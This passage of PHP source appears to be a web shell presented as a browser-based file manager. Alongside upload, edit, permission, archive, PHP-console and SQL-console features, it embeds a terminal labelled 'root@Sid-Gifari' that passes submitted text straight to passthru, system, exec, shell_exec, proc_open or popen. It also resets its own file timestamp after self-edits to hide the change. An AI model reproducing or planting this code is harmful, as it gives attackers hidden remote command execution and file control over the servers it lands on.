zkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
